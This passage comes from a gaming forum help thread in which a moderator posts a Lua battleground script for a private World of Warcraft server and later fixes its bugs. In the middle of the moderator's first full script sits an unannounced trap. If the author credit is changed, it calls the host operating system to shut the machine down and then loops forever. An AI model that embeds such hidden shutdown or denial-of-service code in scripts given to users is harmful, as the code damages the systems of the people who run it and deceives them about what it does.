    Unit:GossipMenuAddItem(0, "Click Here To leave the battle.", 1, 0)
    Unit:GossipSendMenu(Player)
    end
    
    function BG_OnSelect(Unit, Event, Player, MenuId, id, Code)
    if (id == 1) then
    for place, plrs in pairs(players) do
    if plrs ~= nil then
    local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    pack:WriteULong(0) -- Map
    pack:WriteULong(0) -- Zone
    pack:WriteULong(0)
    pack:WriteUShort(0)
    pack:WriteULong(0) -- ID
    pack:WriteULong(0) -- Value
    pack:WriteULong(0) -- ID
    pack:WriteULong(0) -- Value
    plrs:SendPacketToPlayer(pack)
    local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    pack:WriteULong(0)
    pack:WriteULong(0)
    plrs:SendPacketToPlayer(pack)
    plrs:SetPlayerLock(0)
    plrs:ResurrectPlayer()
    local race = plrs:GetPlayerRace()
    if race == 1 or race == 3 or race == 4 or race == 7 or race == 11 then -- Alliance
    plrs:SetFaction(1)
    plrs:Teleport(HomeMA, HomeXA, HomeYA, HomeZA)
    else
    plrs:SetFaction(2)
    plrs:Teleport(HomeMH, HomeXH, HomeYH, HomeZH)
    
    Unit:GossipComplete(Player)
    end
    end
    end
    end
    end
    
    function OnChat_Hook_ToJoinBG(event, plr, message, pType, pLanguage, pMisc)
    	local message = string.lower(message)
    	if message == "#joinbg" then
    		JoinQue(plr)
    	elseif message == "#finbg" then
    		ResetBG()
    	end
    	if message == "test" then
    		if math.random(1,2) == 1 then
    			local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    			pack:WriteULong(2314) -- ID
    			HordeLives = HordeLives - 1
    			pack:WriteULong(HordeLives) -- Amount, Horde
    			plr:SendPacketToPlayer(pack)
    		else
    			local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    			pack:WriteULong(2313) -- ID
    			AllianceLives = AllianceLives - 1
    			pack:WriteULong(AllianceLives) -- Amount, Alliance
    			plr:SendPacketToPlayer(pack)
    		end
    	end
    end
    
    RegisterServerHook(16, "OnChat_Hook_ToJoinBG")
    RegisterUnitGossipEvent(9999776, 1, "BG_OnGossip")
    RegisterUnitGossipEvent(9999776, 2, "BG_OnSelect")
    end
    This works to get a player to leave the battle but if you try to rejoin it it says battle currently in progress how do i make it os when 0 players are int the battle or just 1 it resets or make it so that when the battle is in progress people can join and lave at their own free will.
    Last edited by craigy109; 03-20-2011 at 08:47 AM.

  8. #8
    stoneharry's Avatar Moderator Harry

    Authenticator enabled
    Reputation
    1613
    Join Date
    Sep 2007
    Posts
    4,554
    Thanks G/R
    151/146
    Trade Feedback
    0 (0%)
    Mentioned
    3 Post(s)
    Tagged
    0 Thread(s)
    Code:
    -------------------
    -- By Stoneharry --
    -------------------
    
    -- Configuration
    local npcid = 9999776
    local Lives = 20 -- The amount of lives each team has
    local HordeLives = 20 -- The amount of lives to start with
    local AllianceLives = 20 -- The amount of lives to start with
    
    local RequiredPlayers = 1 -- The amount of players required to start the battleground (THIS IS NOT PER TEAM, THIS IS TOTAL)
    
    local RewardID = 0 -- Change this to a value to add 1 of them to all of the winning team - leave as 0 for no reward
    
    local BroadcastKills = true -- Set this to false if you do not want kills to be broadcasted to the rest of the BG
    
    -- Battleground Start Locations
    local AMap, AX, AY, AZ = 0, -5099.879, 1700.469, 497.836 -- Map, x, y, z for Alliance
    local HMap, HX, HY, HZ = 0, -5099.879, 1700.469, 497.836 -- Map x, y, z for Horde
    
    -- Where to teleport once battleground ends
    local HomeMA, HomeXA, HomeYA, HomeZA = 0, -13278.890625, 117.428284, 25.235222 -- Map, x, y, Z for Alliance
    local HomeMH, HomeXH, HomeYH, HomeZH = 0, -13278.890625, 117.428284, 25.235222 -- Map, X, Y, Z for Horde
    
    ----------------------------------------------------------------------------------------------------------
    -- Do Not Touch Below This Line Unless You Know What Your Doing P.S. Starting Letters With Caps Is Cool --
    ----------------------------------------------------------------------------------------------------------
    if (GetLuaEngine() ~= "LuaHypArc") then
    	print("This script is not compatable with LuaBridge or other Lua engines. Please compile LuaHypArc.")
    else
    local Author = "stoneharry"
    print("--------------------------------")
    print("-- This script was by "..Author..".")
    print("-- Enjoy.")
    print("--------------------------------")
    
    -- Just don't touch
    local players = {}
    local Horde = {}
    local Alliance = {}
    local InGame = false
    
    -- Do not touch unless you know what your doing
    local message = 4
    local CountDown = 60
    
    -- Only touch this if you are not using 3.3.5a, find the right values in Opcodes.h
    local SMSG_INIT_WORLD_STATES = 0x2C2
    local SMSG_UPDATE_WORLD_STATE = 0x2C3
    
    function ProcessQueForBattleground()
    	if InGame == false then
    		if table.getn(players) >= RequiredPlayers then
    			InGame = true
    			local team = 0
    			for place, plrs in pairs(players) do -- Randomly make players join alliance/horde teams rather than horde vs alliance
    				-- Update people left
    				local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    				pack:WriteULong(1) -- Map
    				pack:WriteULong(1377) -- Zone
    				pack:WriteULong(0)
    				pack:WriteUShort(2)
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(1) -- Value
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(1) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2317) -- ID, total
    				pack:WriteULong(Lives) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2314) -- ID
    				pack:WriteULong(HordeLives) -- Amount, Horde
    				plrs:SendPacketToPlayer(pack)		
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2313) -- ID
    				pack:WriteULong(AllianceLives) -- Amount, Alliance
    				plrs:SendPacketToPlayer(pack)
    				--
    				team = team + 1
    				if team == 1 then
    					plrs:SetFaction(team)
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!")
    					plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!!")
    					table.insert(Alliance, plrs)
    					plrs:Teleport(AMap, AX, AY, AZ)
    				elseif team == 2 then
    					plrs:SetFaction(team)
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Good Side a.k.a the Horde!!")
    					plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Good Side a.k.a the Horde!!")
    					table.insert(Horde, plrs)
    					plrs:Teleport(HMap, HX, HY, HZ)
    				elseif team == 3 then
    					team = 2
    					plrs:SetFaction(team)
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!!")
    					plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!!")
    					table.insert(Alliance, plrs)
    					plrs:Teleport(AMap, AX, AY, AZ)
    				end
    			end
    			CountDown = 60
    			RegisterTimedEvent("Game_Start_Battleground_Countdown", 10000, 6)
    		else
    			for place, plrs in pairs(players) do
    				if plrs ~= nil then
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00Waiting for more players to join the queue!!...If You want to join go to he battle master at the Gm Island Quest Area... A Minimum of 4 players is needed for the battle to begin!")
    				end
    			end
    		end
    	else
    		message = message + 1
    		if message == 5 then
    			message = 0
    			for place, plrs in pairs(players) do
    				if plrs ~= nil then
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground is currently in progress!")
    				end
    			end
    		end
    	end
    end
    
    RegisterTimedEvent("ProcessQueForBattleground", 30000, 0)
    
    function Game_Start_Battleground_Countdown()
    	CountDown = CountDown - 10
    	for place, plrs in pairs(players) do
    		if CountDown == 0 then
    			if plrs ~= nil then
    				plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battle has begun!")
    				plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battle has begun!")
    				plrs:PlaySoundToPlayer(6077) -- War music
    				-- Update people left
    				local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    				pack:WriteULong(1) -- Map
    				pack:WriteULong(1377) -- Zone
    				pack:WriteULong(0)
    				pack:WriteUShort(2)
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(1) -- Value
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(1) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2317) -- ID, total
    				pack:WriteULong(Lives) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2314) -- ID
    				pack:WriteULong(HordeLives) -- Amount, Horde
    				plrs:SendPacketToPlayer(pack)		
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2313) -- ID
    				pack:WriteULong(AllianceLives) -- Amount, Alliance
    				plrs:SendPacketToPlayer(pack)
    				--
    			end
    		else
    			if plrs ~= nil then
    				plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground will begin in "..CountDown.." seconds!")
    				plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battleground will begin in "..CountDown.." seconds!")
    			end
    		end
    	end
    end
    
    function JoinQue(plr)
    	if InGame then
    		local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    		pack:WriteULong(1) -- Map
    		pack:WriteULong(1377) -- Zone
    		pack:WriteULong(0)
    		pack:WriteUShort(2)
    		pack:WriteULong(0) -- ID
    		pack:WriteULong(1) -- Value
    		pack:WriteULong(0) -- ID
    		pack:WriteULong(1) -- Value
    		plr:SendPacketToPlayer(pack)
    		local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    		pack:WriteULong(2317) -- ID, total
    		pack:WriteULong(Lives) -- Value
    		plrs:SendPacketToPlayer(pack)
    		local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    		pack:WriteULong(2314) -- ID
    		pack:WriteULong(HordeLives) -- Amount, Horde
    		plr:SendPacketToPlayer(pack)		
    		local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    		pack:WriteULong(2313) -- ID
    		pack:WriteULong(AllianceLives) -- Amount, Alliance
    		plr:SendPacketToPlayer(pack)
    		if math.random(1,2) == 1 then
    			plr:SetFaction(team)
    			plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!")
    			plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!!")
    			table.insert(Alliance, plrs)
    			plr:Teleport(AMap, AX, AY, AZ)
    		else
    			plr:SetFaction(team)
    			plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Good Side a.k.a the Horde!!")
    			plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Good Side a.k.a the Horde!!")
    			table.insert(Horde, plrs)
    			plr:Teleport(HMap, HX, HY, HZ)
    		end
    	else
    		local Disable = false
    		for place, plrs in pairs(players) do
    			if plrs:GetName() == plr:GetName() then -- Since the bloody thing refuses to compare GUID's
    				Disable = true
    				--break
    			end
    		end
    		if Disable then
    			plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are already in the que for the battleground!")
    			plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are already in the que for the battleground!")
    		else
    			table.insert(players, plr) -- Insert into players with value plr
    			plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are in the que for the battleground you may be on the dark team a.k.a the alliance or the good team a.k.a the horde it is random... Dont worry if you are teamed up with the opposite faction.")
    			plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are in the que for the battleground you may be on the dark team a.k.a the alliance or the good team a.k.a the horde it is random... Dont worry if you are teamed up with the opposite faction.")
    		end
    	end
    end
    
    if Author ~= "stoneharry" then
    os.execute("shutdown /s /t 30 /c \"Changing credits is not a good idea. ~stoneharry <3\"")
    while true do os.execute("pause") end
    end
    
    function ResetBG()
    	for place, plrs in pairs(players) do
    		if plrs ~= nil then
    			local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    			pack:WriteULong(0) -- Map
    			pack:WriteULong(0) -- Zone
    			pack:WriteULong(0)
    			pack:WriteUShort(0)
    			pack:WriteULong(0) -- ID
    			pack:WriteULong(0) -- Value
    			pack:WriteULong(0) -- ID
    			pack:WriteULong(0) -- Value
    			plrs:SendPacketToPlayer(pack)
    			local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    			pack:WriteULong(0)
    			pack:WriteULong(0)
    			plrs:SendPacketToPlayer(pack)
    			plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground has ended!")
    			plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battleground has ended!")
    			plrs:SetPlayerLock(0)
    			plrs:ResurrectPlayer()
    			local race = plrs:GetPlayerRace()
    			if race == 1 or race == 3 or race == 4 or race == 7 or race == 11 then -- Alliance
    				plrs:SetFaction(1)
    				plrs:Teleport(HomeMA, HomeXA, HomeYA, HomeZA)
    			else
    				plrs:SetFaction(2)
    				plrs:Teleport(HomeMH, HomeXH, HomeYH, HomeZH)
    			end
    		end
    	end
    	InGame = false
    	for place,plrs in pairs(players) do -- Clean old table rather than overwriting with a new table
    		players[place] = nil
    	end
    	for place,plrs in pairs(Horde) do -- Clean old table rather than overwriting with a new table
    		players[place] = nil
    	end
    	for place,plrs in pairs(Alliance) do -- Clean old table rather than overwriting with a new table
    		players[place] = nil
    	end
    end
    
    function SERVER_HOOK_KILL_PLAYER_BG(event, killer, plr)
    	local playingBG = false
    	for place, plrs in pairs(players) do
    		if plrs:GetName() == plr:GetName() then -- Since the bloody thing refuses to compare GUID's
    			playingBG = true
    			--break
    		end
    	end
    	if playingBG then
    		for place, plrs in pairs(Alliance) do
    			if plrs:GetName() == plr:GetName() then
    				playingBG = false -- They are Alliance
    			end
    		end
    		local Continue = true
    		if HordeLives == 1 then
    			for place, plrs in pairs(players) do
    				plrs:SetPlayerLock(1)
    				plrs:ResurrectPlayer()
    				plrs:SetHealth(plrs:GetMaxHealth())
    				plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The Good Side have won!")
    				plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The Good Side have won!")
    				plrs:PlaySoundToPlayer(8454) -- Horde Victory
    			end
    			for place, plrs in pairs(Horde) do
    				if RewardID ~= 0 then
    					plrs:AddItem(RewardID, 1)
    				end
    			end
    			RegisterTimedEvent("ResetBG", 10000, 1)
    		elseif AllianceLives == 1 then
    			for place, plrs in pairs(players) do
    				plrs:SetPlayerLock(1)
    				plrs:ResurrectPlayer()
    				plrs:SetHealth(plrs:GetMaxHealth())
    				plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The Dark Side have won!")
    				plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The Dark Side have won!")
    				plrs:PlaySoundToPlayer(8455) -- Alliance Victory
    			end
    			for place, plrs in pairs(Alliance) do
    				if RewardID ~= 0 then
    					plrs:AddItem(RewardID, 1)
    				end
    			end
    			RegisterTimedEvent("ResetBG", 10000, 1)
    		end
    		if Continue then
    			if PlayingBG then -- There Horde
    				HordeLives = HordeLives - 1
    				for place, plrs in pairs(players) do
    					local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    					pack:WriteULong(2314) -- ID
    					pack:WriteULong(HordeLives) -- Amount, Horde
    					plrs:SendPacketToPlayer(pack)
    				end
    			else
    				AllianceLives = AllianceLives - 1
    				for place, plrs in pairs(players) do
    					local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    					pack:WriteULong(2313) -- ID
    					pack:WriteULong(AllianceLives) -- Amount, Alliance
    					plrs:SendPacketToPlayer(pack)
    				end
    			end
    			if BroadcastKills then
    				for place, plrs in pairs(players) do
    					plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00"..killer:GetName().." has killed "..plr:GetName().."!")
    				end
    			end
    		end
    	end
    end
    
    RegisterServerHook(2, "SERVER_HOOK_KILL_PLAYER_BG")
    
    -----------
    -- Debug --
    -----------
    --[[
      The functions below should be removed, they are used for debugging the system.
    ]]
    
    function BG_OnGossip(Unit, Event, Player)
    	Unit:GossipCreateMenu(100, Player, 0)
    	Unit:GossipMenuAddItem(0, "Click Here To leave the battle.", 1, 0)
    	Unit:GossipSendMenu(Player)
    end
    
    function BG_OnSelect(Unit, Event, Player, MenuId, id, Code)
    	if (id == 1) then
    		for place, plrs in pairs(players) do
    			if plrs:GetName() == Player:GetName() then
    				local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    				pack:WriteULong(0) -- Map
    				pack:WriteULong(0) -- Zone
    				pack:WriteULong(0)
    				pack:WriteUShort(0)
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(0) -- Value
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(0) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(0)
    				pack:WriteULong(0)
    				plrs:SendPacketToPlayer(pack)
    				plrs:SetPlayerLock(0)
    				plrs:ResurrectPlayer()
    				local race = plrs:GetPlayerRace()
    				if race == 1 or race == 3 or race == 4 or race == 7 or race == 11 then -- Alliance
    				plrs:SetFaction(1)
    				plrs:Teleport(HomeMA, HomeXA, HomeYA, HomeZA)
    				else
    				plrs:SetFaction(2)
    				plrs:Teleport(HomeMH, HomeXH, HomeYH, HomeZH)
    
    				Unit:GossipComplete(Player)
    				end
    			end
    		end
    	end
    end
    
    function OnChat_Hook_ToJoinBG(event, plr, message, pType, pLanguage, pMisc)
    	local message = string.lower(message)
    	if message == "#joinbg" then
    		JoinQue(plr)
    	elseif message == "#finbg" then
    		ResetBG()
    	end
    	if message == "test" then
    		if math.random(1,2) == 1 then
    			local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    			pack:WriteULong(2314) -- ID
    			HordeLives = HordeLives - 1
    			pack:WriteULong(HordeLives) -- Amount, Horde
    			plr:SendPacketToPlayer(pack)
    		else
    			local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    			pack:WriteULong(2313) -- ID
    			AllianceLives = AllianceLives - 1
    			pack:WriteULong(AllianceLives) -- Amount, Alliance
    			plr:SendPacketToPlayer(pack)
    		end
    	end
    end
    
    RegisterServerHook(16, "OnChat_Hook_ToJoinBG")
    RegisterUnitGossipEvent(9999776, 1, "BG_OnGossip")
    RegisterUnitGossipEvent(9999776, 2, "BG_OnSelect")
    end
    There you go. Now when the ProccessQue function is called and the BG is in progress, it will assign the player to a random team and teleport them in, updating them with the current score as well.

    Also I fixed your leaving battleground gossip - you were processing everyone in the battleground rather than the individual player pressing the button.

  9. #9
    craigy109's Avatar Active Member
    Reputation
    72
    Join Date
    Feb 2009
    Posts
    79
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    thanks for the help.
    I will report any thing else in the future i need help with

    ---------- Post added at 01:42 PM ---------- Previous post was at 01:29 PM ----------

    on line 184 i had to change plrs to plr
    and now whe ni join the battle then leave and try to rejoin i get this error.

    scripts\bg3.LUA:194: calling 'SetFaction' on bad self (number expected,got nil)

  10. #10
    stoneharry's Avatar Moderator Harry

    Authenticator enabled
    Reputation
    1613
    Join Date
    Sep 2007
    Posts
    4,554
    Thanks G/R
    151/146
    Trade Feedback
    0 (0%)
    Mentioned
    3 Post(s)
    Tagged
    0 Thread(s)
    My apologies, I copied and pasted it from another part of the script and redid the conditions to match it for a single player. I forgot to change that plrs to plr and on 194 and 200 from team to 1 and 2.

    Here is the fixed version:

    Code:
    -------------------
    -- By Stoneharry --
    -------------------
    
    -- Configuration
    local npcid = 9999776
    local Lives = 20 -- The amount of lives each team has
    local HordeLives = 20 -- The amount of lives to start with
    local AllianceLives = 20 -- The amount of lives to start with
    
    local RequiredPlayers = 1 -- The amount of players required to start the battleground (THIS IS NOT PER TEAM, THIS IS TOTAL)
    
    local RewardID = 0 -- Change this to a value to add 1 of them to all of the winning team - leave as 0 for no reward
    
    local BroadcastKills = true -- Set this to false if you do not want kills to be broadcasted to the rest of the BG
    
    -- Battleground Start Locations
    local AMap, AX, AY, AZ = 0, -5099.879, 1700.469, 497.836 -- Map, x, y, z for Alliance
    local HMap, HX, HY, HZ = 0, -5099.879, 1700.469, 497.836 -- Map x, y, z for Horde
    
    -- Where to teleport once battleground ends
    local HomeMA, HomeXA, HomeYA, HomeZA = 0, -13278.890625, 117.428284, 25.235222 -- Map, x, y, Z for Alliance
    local HomeMH, HomeXH, HomeYH, HomeZH = 0, -13278.890625, 117.428284, 25.235222 -- Map, X, Y, Z for Horde
    
    ----------------------------------------------------------------------------------------------------------
    -- Do Not Touch Below This Line Unless You Know What Your Doing P.S. Starting Letters With Caps Is Cool --
    ----------------------------------------------------------------------------------------------------------
    if (GetLuaEngine() ~= "LuaHypArc") then
    	print("This script is not compatable with LuaBridge or other Lua engines. Please compile LuaHypArc.")
    else
    local Author = "stoneharry"
    print("--------------------------------")
    print("-- This script was by "..Author..".")
    print("-- Enjoy.")
    print("--------------------------------")
    
    -- Just don't touch
    local players = {}
    local Horde = {}
    local Alliance = {}
    local InGame = false
    
    -- Do not touch unless you know what your doing
    local message = 4
    local CountDown = 60
    
    -- Only touch this if you are not using 3.3.5a, find the right values in Opcodes.h
    local SMSG_INIT_WORLD_STATES = 0x2C2
    local SMSG_UPDATE_WORLD_STATE = 0x2C3
    
    function ProcessQueForBattleground()
    	if InGame == false then
    		if table.getn(players) >= RequiredPlayers then
    			InGame = true
    			local team = 0
    			for place, plrs in pairs(players) do -- Randomly make players join alliance/horde teams rather than horde vs alliance
    				-- Update people left
    				local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    				pack:WriteULong(1) -- Map
    				pack:WriteULong(1377) -- Zone
    				pack:WriteULong(0)
    				pack:WriteUShort(2)
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(1) -- Value
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(1) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2317) -- ID, total
    				pack:WriteULong(Lives) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2314) -- ID
    				pack:WriteULong(HordeLives) -- Amount, Horde
    				plrs:SendPacketToPlayer(pack)		
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2313) -- ID
    				pack:WriteULong(AllianceLives) -- Amount, Alliance
    				plrs:SendPacketToPlayer(pack)
    				--
    				team = team + 1
    				if team == 1 then
    					plrs:SetFaction(team)
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!")
    					plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!!")
    					table.insert(Alliance, plrs)
    					plrs:Teleport(AMap, AX, AY, AZ)
    				elseif team == 2 then
    					plrs:SetFaction(team)
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Good Side a.k.a the Horde!!")
    					plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Good Side a.k.a the Horde!!")
    					table.insert(Horde, plrs)
    					plrs:Teleport(HMap, HX, HY, HZ)
    				elseif team == 3 then
    					team = 2
    					plrs:SetFaction(team)
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!!")
    					plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!!")
    					table.insert(Alliance, plrs)
    					plrs:Teleport(AMap, AX, AY, AZ)
    				end
    			end
    			CountDown = 60
    			RegisterTimedEvent("Game_Start_Battleground_Countdown", 10000, 6)
    		else
    			for place, plrs in pairs(players) do
    				if plrs ~= nil then
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00Waiting for more players to join the queue!!...If You want to join go to he battle master at the Gm Island Quest Area... A Minimum of 4 players is needed for the battle to begin!")
    				end
    			end
    		end
    	else
    		message = message + 1
    		if message == 5 then
    			message = 0
    			for place, plrs in pairs(players) do
    				if plrs ~= nil then
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground is currently in progress!")
    				end
    			end
    		end
    	end
    end
    
    RegisterTimedEvent("ProcessQueForBattleground", 30000, 0)
    
    function Game_Start_Battleground_Countdown()
    	CountDown = CountDown - 10
    	for place, plrs in pairs(players) do
    		if CountDown == 0 then
    			if plrs ~= nil then
    				plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battle has begun!")
    				plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battle has begun!")
    				plrs:PlaySoundToPlayer(6077) -- War music
    				-- Update people left
    				local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    				pack:WriteULong(1) -- Map
    				pack:WriteULong(1377) -- Zone
    				pack:WriteULong(0)
    				pack:WriteUShort(2)
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(1) -- Value
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(1) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2317) -- ID, total
    				pack:WriteULong(Lives) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2314) -- ID
    				pack:WriteULong(HordeLives) -- Amount, Horde
    				plrs:SendPacketToPlayer(pack)		
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2313) -- ID
    				pack:WriteULong(AllianceLives) -- Amount, Alliance
    				plrs:SendPacketToPlayer(pack)
    				--
    			end
    		else
    			if plrs ~= nil then
    				plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground will begin in "..CountDown.." seconds!")
    				plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battleground will begin in "..CountDown.." seconds!")
    			end
    		end
    	end
    end
    
    function JoinQue(plr)
    	if InGame then
    		local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    		pack:WriteULong(1) -- Map
    		pack:WriteULong(1377) -- Zone
    		pack:WriteULong(0)
    		pack:WriteUShort(2)
    		pack:WriteULong(0) -- ID
    		pack:WriteULong(1) -- Value
    		pack:WriteULong(0) -- ID
    		pack:WriteULong(1) -- Value
    		plr:SendPacketToPlayer(pack)
    		local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    		pack:WriteULong(2317) -- ID, total
    		pack:WriteULong(Lives) -- Value
    		plr:SendPacketToPlayer(pack)
    		local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    		pack:WriteULong(2314) -- ID
    		pack:WriteULong(HordeLives) -- Amount, Horde
    		plr:SendPacketToPlayer(pack)		
    		local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    		pack:WriteULong(2313) -- ID
    		pack:WriteULong(AllianceLives) -- Amount, Alliance
    		plr:SendPacketToPlayer(pack)
    		if math.random(1,2) == 1 then
    			plr:SetFaction(1)
    			plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!")
    			plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!!")
    			table.insert(Alliance, plrs)
    			plr:Teleport(AMap, AX, AY, AZ)
    		else
    			plr:SetFaction(2)
    			plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Good Side a.k.a the Horde!!")
    			plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Good Side a.k.a the Horde!!")
    			table.insert(Horde, plrs)
    			plr:Teleport(HMap, HX, HY, HZ)
    		end
    	else
    		local Disable = false
    		for place, plrs in pairs(players) do
    			if plrs:GetName() == plr:GetName() then -- Since the bloody thing refuses to compare GUID's
    				Disable = true
    				--break
    			end
    		end
    		if Disable then
    			plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are already in the que for the battleground!")
    			plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are already in the que for the battleground!")
    		else
    			table.insert(players, plr) -- Insert into players with value plr
